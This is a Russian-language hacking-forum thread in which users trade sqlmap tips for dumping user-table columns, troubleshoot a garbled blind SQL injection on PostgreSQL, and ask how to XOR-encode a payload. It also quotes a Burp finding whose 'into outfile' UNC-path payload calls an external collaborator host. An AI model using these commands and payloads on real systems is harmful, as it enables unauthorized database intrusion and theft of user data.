ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Если я правильно понял, то --search -C "users". Далее выбрать первый вариант или все поставить на --batch .Тогда он сдампит все колонки где названии рисутствует "users"

--dump еще по идее надо

на --batch он сам сдампит

-D information_schema -T columns -C table_name,column_name --where="table_name LIKE '%_users'" --dump

нееее, не так? =) dmjROVтестани, если тебе именно колумны с таблов где *_узерс повыводить ннада.

Или я не понял с недосыпа, поздновато уже.

Приветствую!

Ковыряю одну скулю:

SqlMap последней версии

web application technology: Apache, Nginx

back-end DBMS operating system: Linux Debian

back-end DBMS: PostgreSQL

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

ПРОБЛЕМА:При получении ответа на любой запрос постоянно на случайных позициях неправильно определяет символы! Например, получаю имя колонки "user_id", так SqlMap может один раз выдать "use?_id", в другой раз если повторить запрос выдаст ""uQer_id" или "uMe#_id" и т.д. Иногда вообще неотображаемые символы получаются и SqlMap на то ругается:

"cannot properly display (some) Unicode characters inside your terminal ('cp866') environment. All unhandled occurrences will result in replacement with '?' character. Please, find proper character representation inside corresponding output files"

" [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'"

--no-cast и --hex пробовал - не помогает.

Ответы сервера понятные и предсказуемые. Если подставляемое выражение = FALSE то возвращается пустая страница при TRUE возвращается с контентом

Что это может быть? Какие возможные решения данной проблемы?

Где в sqlmap настройки цветовой палитры?? Хочу изменить цвет текста

Ребят такой вопрос известно где находится уязвимость, но не могу понять как мне payload пронать через xor, уязвимый скрипт принимает даные в хоре а потом уже у себя их распаковывает подскажите плиз

def CB_XORm(data, key):

j=0

key = list(key)

data = list(data)

tmp = list()

for i in range(len(data)):

tmp.append(chr(ord(data)^ord(key[j])))

j += 1

if j > (len(key)-1):

j = 0

return "".join(tmp)

В настройках терминала

_on=0%20into%20outfile%20'%5c%5c%5c%5cil795b45129i xd3s13rbi2jn1e77v9j0nofb9zy.burpcollaborator.net%5 c%5caju'%3b%20--%20

n parameter appears to be vulnerable to SQL injection attacks. The payload into outfile '\\\\il795b45129ixd3s13rbi2jn1e77v9j0nofb9zy.burpc ollaborator.net\\aju'; --was submitted in the on. This payload causes the database to write the results of the query to a file, and specifies a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed.

как крутануть такую скулю?мап не берет(